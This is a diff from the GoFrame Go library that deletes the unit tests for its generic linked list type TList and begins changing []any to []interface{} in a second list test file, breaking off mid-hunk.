-// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-package glist
-
-import (
-	"container/list"
-	"testing"
-
-	"github.com/gogf/gf/v2/internal/json"
-	"github.com/gogf/gf/v2/test/gtest"
-	"github.com/gogf/gf/v2/util/gconv"
-)
-
-func checkTListLen(t *gtest.T, l *TList[any], len int) bool {
-	if n := l.Len(); n != len {
-		t.Errorf("l.Len() = %d, want %d", n, len)
-		return false
-	}
-	return true
-}
-
-func checkTListPointers(t *gtest.T, l *TList[any], es []*TElement[any]) {
-	if !checkTListLen(t, l, len(es)) {
-		return
-	}
-
-	i := 0
-	l.Iterator(func(e *TElement[any]) bool {
-		if e.Prev() != es[i].Prev() {
-			t.Errorf("list[%d].Prev = %p, want %p", i, e.Prev(), es[i].Prev())
-			return false
-		}
-		if e.Next() != es[i].Next() {
-			t.Errorf("list[%d].Next = %p, want %p", i, e.Next(), es[i].Next())
-			return false
-		}
-		i++
-		return true
-	})
-}
-
-func TestTVar(t *testing.T) {
-	var l TList[any]
-	l.PushFront(1)
-	l.PushFront(2)
-	if v := l.PopBack(); v != 1 {
-		t.Errorf("EXPECT %v, GOT %v", 1, v)
-	} else {
-		// fmt.Println(v)
-	}
-	if v := l.PopBack(); v != 2 {
-		t.Errorf("EXPECT %v, GOT %v", 2, v)
-	} else {
-		// fmt.Println(v)
-	}
-	if v := l.PopBack(); v != nil {
-		t.Errorf("EXPECT %v, GOT %v", nil, v)
-	} else {
-		// fmt.Println(v)
-	}
-	l.PushBack(1)
-	l.PushBack(2)
-	if v := l.PopFront(); v != 1 {
-		t.Errorf("EXPECT %v, GOT %v", 1, v)
-	} else {
-		// fmt.Println(v)
-	}
-	if v := l.PopFront(); v != 2 {
-		t.Errorf("EXPECT %v, GOT %v", 2, v)
-	} else {
-		// fmt.Println(v)
-	}
-	if v := l.PopFront(); v != nil {
-		t.Errorf("EXPECT %v, GOT %v", nil, v)
-	} else {
-		// fmt.Println(v)
-	}
-}
-
-func TestTBasic(t *testing.T) {
-	l := NewT[any]()
-	l.PushFront(1)
-	l.PushFront(2)
-	if v := l.PopBack(); v != 1 {
-		t.Errorf("EXPECT %v, GOT %v", 1, v)
-	} else {
-		// fmt.Println(v)
-	}
-	if v := l.PopBack(); v != 2 {
-		t.Errorf("EXPECT %v, GOT %v", 2, v)
-	} else {
-		// fmt.Println(v)
-	}
-	if v := l.PopBack(); v != nil {
-		t.Errorf("EXPECT %v, GOT %v", nil, v)
-	} else {
-		// fmt.Println(v)
-	}
-	l.PushBack(1)
-	l.PushBack(2)
-	if v := l.PopFront(); v != 1 {
-		t.Errorf("EXPECT %v, GOT %v", 1, v)
-	} else {
-		// fmt.Println(v)
-	}
-	if v := l.PopFront(); v != 2 {
-		t.Errorf("EXPECT %v, GOT %v", 2, v)
-	} else {
-		// fmt.Println(v)
-	}
-	if v := l.PopFront(); v != nil {
-		t.Errorf("EXPECT %v, GOT %v", nil, v)
-	} else {
-		// fmt.Println(v)
-	}
-}
-
-func TestTList(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		checkTListPointers(t, l, []*TElement[any]{})
-
-		// Single element list
-		e := l.PushFront("a")
-		checkTListPointers(t, l, []*TElement[any]{e})
-		l.MoveToFront(e)
-		checkTListPointers(t, l, []*TElement[any]{e})
-		l.MoveToBack(e)
-		checkTListPointers(t, l, []*TElement[any]{e})
-		l.Remove(e)
-		checkTListPointers(t, l, []*TElement[any]{})
-
-		// Bigger list
-		e2 := l.PushFront(2)
-		e1 := l.PushFront(1)
-		e3 := l.PushBack(3)
-		e4 := l.PushBack("banana")
-		checkTListPointers(t, l, []*TElement[any]{e1, e2, e3, e4})
-
-		l.Remove(e2)
-		checkTListPointers(t, l, []*TElement[any]{e1, e3, e4})
-
-		l.MoveToFront(e3) // move from middle
-		checkTListPointers(t, l, []*TElement[any]{e3, e1, e4})
-
-		l.MoveToFront(e1)
-		l.MoveToBack(e3) // move from middle
-		checkTListPointers(t, l, []*TElement[any]{e1, e4, e3})
-
-		l.MoveToFront(e3) // move from back
-		checkTListPointers(t, l, []*TElement[any]{e3, e1, e4})
-		l.MoveToFront(e3) // should be no-op
-		checkTListPointers(t, l, []*TElement[any]{e3, e1, e4})
-
-		l.MoveToBack(e3) // move from front
-		checkTListPointers(t, l, []*TElement[any]{e1, e4, e3})
-		l.MoveToBack(e3) // should be no-op
-		checkTListPointers(t, l, []*TElement[any]{e1, e4, e3})
-
-		e2 = l.InsertBefore(e1, 2) // insert before front
-		checkTListPointers(t, l, []*TElement[any]{e2, e1, e4, e3})
-		l.Remove(e2)
-		e2 = l.InsertBefore(e4, 2) // insert before middle
-		checkTListPointers(t, l, []*TElement[any]{e1, e2, e4, e3})
-		l.Remove(e2)
-		e2 = l.InsertBefore(e3, 2) // insert before back
-		checkTListPointers(t, l, []*TElement[any]{e1, e4, e2, e3})
-		l.Remove(e2)
-
-		e2 = l.InsertAfter(e1, 2) // insert after front
-		checkTListPointers(t, l, []*TElement[any]{e1, e2, e4, e3})
-		l.Remove(e2)
-		e2 = l.InsertAfter(e4, 2) // insert after middle
-		checkTListPointers(t, l, []*TElement[any]{e1, e4, e2, e3})
-		l.Remove(e2)
-		e2 = l.InsertAfter(e3, 2) // insert after back
-		checkTListPointers(t, l, []*TElement[any]{e1, e4, e3, e2})
-		l.Remove(e2)
-
-		// Check standard iteration.
-		sum := 0
-		for e := l.Front(); e != nil; e = e.Next() {
-			if i, ok := e.Value.(int); ok {
-				sum += i
-			}
-		}
-		if sum != 4 {
-			t.Errorf("sum over l = %d, want 4", sum)
-		}
-
-		// Clear all elements by iterating
-		var next *TElement[any]
-		for e := l.Front(); e != nil; e = next {
-			next = e.Next()
-			l.Remove(e)
-		}
-		checkTListPointers(t, l, []*TElement[any]{})
-	})
-}
-
-func checkTList(t *gtest.T, l *TList[any], es []any) {
-	if !checkTListLen(t, l, len(es)) {
-		return
-	}
-
-	i := 0
-	for e := l.Front(); e != nil; e = e.Next() {
-
-		switch e.Value.(type) {
-		case int:
-			if le := e.Value.(int); le != es[i] {
-				t.Errorf("elt[%d].Value() = %v, want %v", i, le, es[i])
-			}
-			// default string
-		default:
-			if le := e.Value.(string); le != es[i] {
-				t.Errorf("elt[%v].Value() = %v, want %v", i, le, es[i])
-			}
-		}
-
-		i++
-	}
-
-	// for e := l.Front(); e != nil; e = e.Next() {
-	//	le := e.Value.(int)
-	//	if le != es[i] {
-	//		t.Errorf("elt[%d].Value() = %v, want %v", i, le, es[i])
-	//	}
-	//	i++
-	// }
-}
-
-func TestTExtending(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l1 := NewT[any]()
-		l2 := NewT[any]()
-
-		l1.PushBack(1)
-		l1.PushBack(2)
-		l1.PushBack(3)
-
-		l2.PushBack(4)
-		l2.PushBack(5)
-
-		l3 := NewT[any]()
-		l3.PushBackList(l1)
-		checkTList(t, l3, []any{1, 2, 3})
-		l3.PushBackList(l2)
-		checkTList(t, l3, []any{1, 2, 3, 4, 5})
-
-		l3 = NewT[any]()
-		l3.PushFrontList(l2)
-		checkTList(t, l3, []any{4, 5})
-		l3.PushFrontList(l1)
-		checkTList(t, l3, []any{1, 2, 3, 4, 5})
-
-		checkTList(t, l1, []any{1, 2, 3})
-		checkTList(t, l2, []any{4, 5})
-
-		l3 = NewT[any]()
-		l3.PushBackList(l1)
-		checkTList(t, l3, []any{1, 2, 3})
-		l3.PushBackList(l3)
-		checkTList(t, l3, []any{1, 2, 3, 1, 2, 3})
-
-		l3 = NewT[any]()
-		l3.PushFrontList(l1)
-		checkTList(t, l3, []any{1, 2, 3})
-		l3.PushFrontList(l3)
-		checkTList(t, l3, []any{1, 2, 3, 1, 2, 3})
-
-		l3 = NewT[any]()
-		l1.PushBackList(l3)
-		checkTList(t, l1, []any{1, 2, 3})
-		l1.PushFrontList(l3)
-		checkTList(t, l1, []any{1, 2, 3})
-	})
-}
-
-func TestTRemove(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		e1 := l.PushBack(1)
-		e2 := l.PushBack(2)
-		checkTListPointers(t, l, []*TElement[any]{e1, e2})
-		// e := l.Front()
-		// l.Remove(e)
-		// checkTListPointers(t, l, []*TElement[any]{e2})
-		// l.Remove(e)
-		// checkTListPointers(t, l, []*TElement[any]{e2})
-	})
-}
-
-func Test_T_Issue4103(t *testing.T) {
-	l1 := NewT[any]()
-	l1.PushBack(1)
-	l1.PushBack(2)
-
-	l2 := NewT[any]()
-	l2.PushBack(3)
-	l2.PushBack(4)
-
-	e := l1.Front()
-	l2.Remove(e) // l2 should not change because e is not an element of l2
-	if n := l2.Len(); n != 2 {
-		t.Errorf("l2.Len() = %d, want 2", n)
-	}
-
-	l1.InsertBefore(e, 8)
-	if n := l1.Len(); n != 3 {
-		t.Errorf("l1.Len() = %d, want 3", n)
-	}
-}
-
-func Test_T_Issue6349(t *testing.T) {
-	l := NewT[any]()
-	l.PushBack(1)
-	l.PushBack(2)
-
-	e := l.Front()
-	l.Remove(e)
-	if e.Value != 1 {
-		t.Errorf("e.value = %d, want 1", e.Value)
-	}
-	// if e.Next() != nil {
-	//    t.Errorf("e.Next() != nil")
-	// }
-	// if e.Prev() != nil {
-	//    t.Errorf("e.Prev() != nil")
-	// }
-}
-
-func TestTMove(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		e1 := l.PushBack(1)
-		e2 := l.PushBack(2)
-		e3 := l.PushBack(3)
-		e4 := l.PushBack(4)
-
-		l.MoveAfter(e3, e3)
-		checkTListPointers(t, l, []*TElement[any]{e1, e2, e3, e4})
-		l.MoveBefore(e2, e2)
-		checkTListPointers(t, l, []*TElement[any]{e1, e2, e3, e4})
-
-		l.MoveAfter(e3, e2)
-		checkTListPointers(t, l, []*TElement[any]{e1, e2, e3, e4})
-		l.MoveBefore(e2, e3)
-		checkTListPointers(t, l, []*TElement[any]{e1, e2, e3, e4})
-
-		l.MoveBefore(e2, e4)
-		checkTListPointers(t, l, []*TElement[any]{e1, e3, e2, e4})
-		e2, e3 = e3, e2
-
-		l.MoveBefore(e4, e1)
-		checkTListPointers(t, l, []*TElement[any]{e4, e1, e2, e3})
-		e1, e2, e3, e4 = e4, e1, e2, e3
-
-		l.MoveAfter(e4, e1)
-		checkTListPointers(t, l, []*TElement[any]{e1, e4, e2, e3})
-		e2, e3, e4 = e4, e2, e3
-
-		l.MoveAfter(e2, e3)
-		checkTListPointers(t, l, []*TElement[any]{e1, e3, e2, e4})
-		e2, e3 = e3, e2
-	})
-}
-
-// Test PushFront, PushBack, PushFrontList, PushBackList with uninitialized List
-func TestTZeroList(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		var l1 = NewT[any]()
-		l1.PushFront(1)
-		checkTList(t, l1, []any{1})
-
-		var l2 = NewT[any]()
-		l2.PushBack(1)
-		checkTList(t, l2, []any{1})
-
-		var l3 = NewT[any]()
-		l3.PushFrontList(l1)
-		checkTList(t, l3, []any{1})
-
-		var l4 = NewT[any]()
-		l4.PushBackList(l2)
-		checkTList(t, l4, []any{1})
-	})
-}
-
-// Test that a list l is not modified when calling InsertBefore with a mark that is not an element of l.
-func TestTInsertBeforeUnknownMark(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		l.PushBack(1)
-		l.PushBack(2)
-		l.PushBack(3)
-		l.InsertBefore(new(TElement[any]), 1)
-		checkTList(t, l, []any{1, 2, 3})
-	})
-}
-
-// Test that a list l is not modified when calling InsertAfter with a mark that is not an element of l.
-func TestTInsertAfterUnknownMark(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		l.PushBack(1)
-		l.PushBack(2)
-		l.PushBack(3)
-		l.InsertAfter(new(TElement[any]), 1)
-		checkTList(t, l, []any{1, 2, 3})
-	})
-}
-
-// Test that a list l is not modified when calling MoveAfter or MoveBefore with a mark that is not an element of l.
-func TestTMoveUnknownMark(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l1 := NewT[any]()
-		e1 := l1.PushBack(1)
-
-		l2 := NewT[any]()
-		e2 := l2.PushBack(2)
-
-		l1.MoveAfter(e1, e2)
-		checkTList(t, l1, []any{1})
-		checkTList(t, l2, []any{2})
-
-		l1.MoveBefore(e1, e2)
-		checkTList(t, l1, []any{1})
-		checkTList(t, l2, []any{2})
-	})
-}
-
-func TestTList_RemoveAll(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		l.PushBack(1)
-		l.RemoveAll()
-		checkTList(t, l, []any{})
-		l.PushBack(2)
-		checkTList(t, l, []any{2})
-	})
-}
-
-func TestTList_PushFronts(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2}
-		l.PushFronts(a1)
-		checkTList(t, l, []any{2, 1})
-		a1 = []any{3, 4, 5}
-		l.PushFronts(a1)
-		checkTList(t, l, []any{5, 4, 3, 2, 1})
-	})
-}
-
-func TestTList_PushBacks(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2}
-		l.PushBacks(a1)
-		checkTList(t, l, []any{1, 2})
-		a1 = []any{3, 4, 5}
-		l.PushBacks(a1)
-		checkTList(t, l, []any{1, 2, 3, 4, 5})
-	})
-}
-
-func TestTList_PopBacks(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		a2 := []any{"a", "c", "b", "e"}
-		l.PushFronts(a1)
-		i1 := l.PopBacks(2)
-		t.Assert(i1, []any{1, 2})
-
-		l.PushBacks(a2) // 4.3,a,c,b,e
-		i1 = l.PopBacks(3)
-		t.Assert(i1, []any{"e", "b", "c"})
-	})
-}
-
-func TestTList_PopFronts(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		i1 := l.PopFronts(2)
-		t.Assert(i1, []any{4, 3})
-		t.Assert(l.Len(), 2)
-	})
-}
-
-func TestTList_PopBackAll(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		i1 := l.PopBackAll()
-		t.Assert(i1, []any{1, 2, 3, 4})
-		t.Assert(l.Len(), 0)
-	})
-}
-
-func TestTList_PopFrontAll(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		i1 := l.PopFrontAll()
-		t.Assert(i1, []any{4, 3, 2, 1})
-		t.Assert(l.Len(), 0)
-	})
-}
-
-func TestTList_FrontAll(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		i1 := l.FrontAll()
-		t.Assert(i1, []any{4, 3, 2, 1})
-		t.Assert(l.Len(), 4)
-	})
-}
-
-func TestTList_BackAll(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		i1 := l.BackAll()
-		t.Assert(i1, []any{1, 2, 3, 4})
-		t.Assert(l.Len(), 4)
-	})
-}
-
-func TestTList_FrontValue(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		l2 := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		i1 := l.FrontValue()
-		t.Assert(gconv.Int(i1), 4)
-		t.Assert(l.Len(), 4)
-
-		i1 = l2.FrontValue()
-		t.Assert(i1, nil)
-	})
-}
-
-func TestTList_BackValue(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		l2 := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		i1 := l.BackValue()
-		t.Assert(gconv.Int(i1), 1)
-		t.Assert(l.Len(), 4)
-
-		i1 = l2.FrontValue()
-		t.Assert(i1, nil)
-	})
-}
-
-func TestTList_Back(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		e1 := l.Back()
-		t.Assert(e1.Value, 1)
-		t.Assert(l.Len(), 4)
-	})
-}
-
-func TestTList_Size(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		t.Assert(l.Size(), 4)
-		l.PopFront()
-		t.Assert(l.Size(), 3)
-	})
-}
-
-func TestTList_Removes(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		e1 := l.Back()
-		l.Removes([]*TElement[any]{e1})
-		t.Assert(l.Len(), 3)
-
-		e2 := l.Back()
-		l.Removes([]*TElement[any]{e2})
-		t.Assert(l.Len(), 2)
-		checkTList(t, l, []any{4, 3})
-	})
-}
-
-func TestTList_Pop(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewTFrom([]any{1, 2, 3, 4, 5, 6, 7, 8, 9})
-
-		t.Assert(l.PopBack(), 9)
-		t.Assert(l.PopBacks(2), []any{8, 7})
-		t.Assert(l.PopFront(), 1)
-		t.Assert(l.PopFronts(2), []any{2, 3})
-	})
-}
-
-func TestTList_Clear(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		l.Clear()
-		t.Assert(l.Len(), 0)
-	})
-}
-
-func TestTList_IteratorAsc(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 5, 6, 3, 4}
-		l.PushFronts(a1)
-		e1 := l.Back()
-		fun1 := func(e *TElement[any]) bool {
-			return gconv.Int(e1.Value) > 2
-		}
-		checkTList(t, l, []any{4, 3, 6, 5, 2, 1})
-		l.IteratorAsc(fun1)
-		checkTList(t, l, []any{4, 3, 6, 5, 2, 1})
-	})
-}
-
-func TestTList_IteratorDesc(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{1, 2, 3, 4}
-		l.PushFronts(a1)
-		e1 := l.Back()
-		fun1 := func(e *TElement[any]) bool {
-			return gconv.Int(e1.Value) > 6
-		}
-		l.IteratorDesc(fun1)
-		t.Assert(l.Len(), 4)
-		checkTList(t, l, []any{4, 3, 2, 1})
-	})
-}
-
-func TestTList_Iterator(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		a1 := []any{"a", "b", "c", "d", "e"}
-		l.PushFronts(a1)
-		e1 := l.Back()
-		fun1 := func(e *TElement[any]) bool {
-			return gconv.String(e1.Value) > "c"
-		}
-		checkTList(t, l, []any{"e", "d", "c", "b", "a"})
-		l.Iterator(fun1)
-		checkTList(t, l, []any{"e", "d", "c", "b", "a"})
-	})
-}
-
-func TestTList_Join(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewTFrom([]any{1, 2, "a", `"b"`, `\c`})
-		t.Assert(l.Join(","), `1,2,a,"b",\c`)
-		t.Assert(l.Join("."), `1.2.a."b".\c`)
-	})
-}
-
-func TestTList_String(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewTFrom([]any{1, 2, "a", `"b"`, `\c`})
-		t.Assert(l.String(), `[1,2,a,"b",\c]`)
-	})
-}
-
-func TestTList_Json(t *testing.T) {
-	// Marshal
-	gtest.C(t, func(t *gtest.T) {
-		a := []any{"a", "b", "c"}
-		l := NewT[any]()
-		l.PushBacks(a)
-		b1, err1 := json.Marshal(l)
-		b2, err2 := json.Marshal(a)
-		t.Assert(err1, err2)
-		t.Assert(b1, b2)
-	})
-	// Unmarshal
-	gtest.C(t, func(t *gtest.T) {
-		a := []any{"a", "b", "c"}
-		l := NewT[any]()
-		b, err := json.Marshal(a)
-		t.AssertNil(err)
-
-		err = json.UnmarshalUseNumber(b, l)
-		t.AssertNil(err)
-		t.Assert(l.FrontAll(), a)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		var l TList[any]
-		a := []any{"a", "b", "c"}
-		b, err := json.Marshal(a)
-		t.AssertNil(err)
-
-		err = json.UnmarshalUseNumber(b, &l)
-		t.AssertNil(err)
-		t.Assert(l.FrontAll(), a)
-	})
-}
-
-func TestTList_UnmarshalValue(t *testing.T) {
-	type list struct {
-		Name string
-		List *TList[any]
-	}
-	// JSON
-	gtest.C(t, func(t *gtest.T) {
-		var tlist *list
-		err := gconv.Struct(map[string]any{
-			"name": "john",
-			"list": []byte(`[1,2,3]`),
-		}, &tlist)
-		t.AssertNil(err)
-		t.Assert(tlist.Name, "john")
-		t.Assert(tlist.List.FrontAll(), []any{1, 2, 3})
-	})
-	// Map
-	gtest.C(t, func(t *gtest.T) {
-		var tlist *list
-		err := gconv.Struct(map[string]any{
-			"name": "john",
-			"list": []any{1, 2, 3},
-		}, &tlist)
-		t.AssertNil(err)
-		t.Assert(tlist.Name, "john")
-		t.Assert(tlist.List.FrontAll(), []any{1, 2, 3})
-	})
-}
-
-func TestTList_DeepCopy(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewTFrom([]any{1, 2, "a", `"b"`, `\c`})
-		copyList := l.DeepCopy()
-		cl := copyList.(*TList[any])
-		cl.PopBack()
-		t.AssertNE(l.Size(), cl.Size())
-	})
-	// Nil pointer deep copy
-	gtest.C(t, func(t *gtest.T) {
-		var l *TList[any]
-		copyList := l.DeepCopy()
-		t.AssertNil(copyList)
-	})
-}
-
-func TestTList_ToList(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewTFrom([]any{1, 2, 3, 4, 5})
-		nl := l.ToList()
-		t.Assert(nl.Len(), 5)
-
-		// Verify elements
-		i := 1
-		for e := nl.Front(); e != nil; e = e.Next() {
-			t.Assert(e.Value, i)
-			i++
-		}
-	})
-	// Empty list
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		nl := l.ToList()
-		t.Assert(nl.Len(), 0)
-	})
-}
-
-func TestTList_AppendList(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewTFrom([]any{1, 2, 3})
-		nl := list.New()
-		nl.PushBack(4)
-		nl.PushBack(5)
-
-		l.AppendList(nl)
-		t.Assert(l.Len(), 5)
-		t.Assert(l.FrontAll(), []any{1, 2, 3, 4, 5})
-	})
-	// Append empty list
-	gtest.C(t, func(t *gtest.T) {
-		l := NewTFrom([]any{1, 2, 3})
-		nl := list.New()
-		l.AppendList(nl)
-		t.Assert(l.Len(), 3)
-		t.Assert(l.FrontAll(), []any{1, 2, 3})
-	})
-	// Append with type mismatch (should skip)
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[int]()
-		nl := list.New()
-		nl.PushBack(1)
-		nl.PushBack("string") // type mismatch
-		nl.PushBack(2)
-
-		l.AppendList(nl)
-		t.Assert(l.Len(), 2)
-		t.Assert(l.FrontAll(), []int{1, 2})
-	})
-}
-
-func TestTList_AssignList(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewTFrom([]any{1, 2, 3})
-		nl := list.New()
-		nl.PushBack(4)
-		nl.PushBack(5)
-		nl.PushBack(6)
-
-		skipped := l.AssignList(nl)
-		t.Assert(skipped, 0)
-		t.Assert(l.Len(), 3)
-		t.Assert(l.FrontAll(), []any{4, 5, 6})
-	})
-	// Assign empty list
-	gtest.C(t, func(t *gtest.T) {
-		l := NewTFrom([]any{1, 2, 3})
-		nl := list.New()
-
-		skipped := l.AssignList(nl)
-		t.Assert(skipped, 0)
-		t.Assert(l.Len(), 0)
-	})
-	// Assign with type mismatch (should return skipped count)
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[int]()
-		nl := list.New()
-		nl.PushBack(1)
-		nl.PushBack("string") // type mismatch
-		nl.PushBack(2)
-		nl.PushBack("another") // type mismatch
-
-		skipped := l.AssignList(nl)
-		t.Assert(skipped, 2)
-		t.Assert(l.Len(), 2)
-		t.Assert(l.FrontAll(), []int{1, 2})
-	})
-}
-
-func TestTList_String_Nil(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		var l *TList[any]
-		t.Assert(l.String(), "")
-	})
-}
-
-func TestTList_UnmarshalJSON_Error(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		err := l.UnmarshalJSON([]byte("invalid json"))
-		t.AssertNE(err, nil)
-	})
-}
-
-func TestTList_UnmarshalValue_String(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		err := l.UnmarshalValue(`[1,2,3]`)
-		t.AssertNil(err)
-		t.Assert(l.FrontAll(), []any{1, 2, 3})
-	})
-}
-
-func TestTList_UnmarshalValue_Bytes(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		err := l.UnmarshalValue([]byte(`[1,2,3]`))
-		t.AssertNil(err)
-		t.Assert(l.FrontAll(), []any{1, 2, 3})
-	})
-}
-
-func TestTList_DeepCopy_Empty(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		copyList := l.DeepCopy()
-		cl := copyList.(*TList[any])
-		t.Assert(cl.Len(), 0)
-	})
-}
-
-func TestTList_AppendList_WithTypeMismatch(t *testing.T) {
-	// Test appendList internal function through AppendList with mixed types
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[int]()
-		nl := list.New()
-		// Only add non-matching types
-		nl.PushBack("string1")
-		nl.PushBack("string2")
-
-		l.AppendList(nl)
-		t.Assert(l.Len(), 0)
-	})
-}
-
-func TestTList_UnmarshalValue_Error(t *testing.T) {
-	// Test UnmarshalValue with data through default case
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		// Pass a slice directly through default case
-		_ = l.UnmarshalValue([]any{1, 2, 3})
-		t.Assert(l.Len(), 3)
-		t.Assert(l.FrontAll(), []any{1, 2, 3})
-	})
-	// Test UnmarshalValue error in string case
-	gtest.C(t, func(t *gtest.T) {
-		l := NewT[any]()
-		err := l.UnmarshalValue("invalid json")
-		t.AssertNE(err, nil)
-	})
-}

container/glist/glist_z_unit_test.go

@@ -198,7 +198,7 @@ func TestList(t *testing.T) {
 	})
 }
 
-func checkList(t *gtest.T, l *List, es []any) {
+func checkList(t *gtest.T, l *List, es []interface{}) {
 	if !checkListLen(t, l, len(es)) {
 		return
 	}
@@ -244,36 +244,36 @@ func TestExtending(t *testing.T) {
 
 		l3 := New()
 		l3.PushBackList(l1)
-		checkList(t, l3, []any{1, 2, 3})
+		checkList(t, l3, []interface{}{1, 2, 3})
 		l3.PushBackList(l2)
-		checkList(t, l3, []any{1, 2, 3, 4, 5})
+		checkList(t, l3, []interface{}{1, 2, 3, 4, 5})
 
 		l3 = New()
 		l3.PushFrontList(l2)
-		checkList(t, l3, []any{4, 5})
+		checkList(t, l3, []interface{}{4, 5})
 		l3.PushFrontList(l1)
-		checkList(t, l3, []any{1, 2, 3, 4, 5})
+		checkList(t, l3, []interface{}{1, 2, 3, 4, 5})
 
-		checkList(t, l1, []any{1, 2, 3})
-		checkList(t, l2, []any{4, 5})
+		checkList(t, l1, []interface{}{1, 2, 3})
+		checkList(t, l2, []interface{}{4, 5})
 
 		l3 = New()
 		l3.PushBackList(l1)
-		checkList(t, l3, []any{1, 2, 3})
+		checkList(t, l3, []interface{}{1, 2, 3})
 		l3.PushBackList(l3)
-		checkList(t, l3, []any{1, 2, 3, 1, 2, 3})
+		checkList(t, l3, []interface{}{1, 2, 3, 1, 2, 3})
 
 		l3 = New()
 		l3.PushFrontList(l1)
-		checkList(t, l3, []any{1, 2, 3})
+		checkList(t, l3, []interface{}{1, 2, 3})
 		l3.PushFrontList(l3)
-		checkList(t, l3, []any{1, 2, 3, 1, 2, 3})
+		checkList(t, l3, []interface{}{1, 2, 3, 1, 2, 3})
 
 		l3 = New()
 		l1.PushBackList(l3)
-		checkList(t, l1, []any{1, 2, 3})
+		checkList(t, l1, []interface{}{1, 2, 3})
 		l1.PushFrontList(l3)
-		checkList(t, l1, []any{1, 2, 3})
+		checkList(t, l1, []interface{}{1, 2, 3})
 	})
 }
 
@@ -371,19 +371,19 @@ func TestZeroList(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		var l1 = New()
 		l1.PushFront(1)
-		checkList(t, l1, []any{1})
+		checkList(t, l1, []interface{}{1})
 
 		var l2 = New()
 		l2.PushBack(1)
-		checkList(t, l2, []any{1})
+		checkList(t, l2, []interface{}{1})
 
 		var l3 = New()
 		l3.PushFrontList(l1)
-		checkList(t, l3, []any{1})
+		checkList(t, l3, []interface{}{1})
 
 		var l4 = New()
 		l4.PushBackList(l2)
-		checkList(t, l4, []any{1})
+		checkList(t, l4, []interface{}{1})
 	})
 }
 
@@ -395,7 +395,7 @@ func TestInsertBeforeUnknownMark(t *testing.T) {
 		l.PushBack(2)
 		l.PushBack(3)
 		l.InsertBefore(new(Element), 1)
-		checkList(t, l, []any{1, 2, 3})
+		checkList(t, l, []interface{}{1, 2, 3})
 	})
 }
 
@@ -407,7 +407,7 @@ func TestInsertAfterUnknownMark(t *testing.T) {
 		l.PushBack(2)
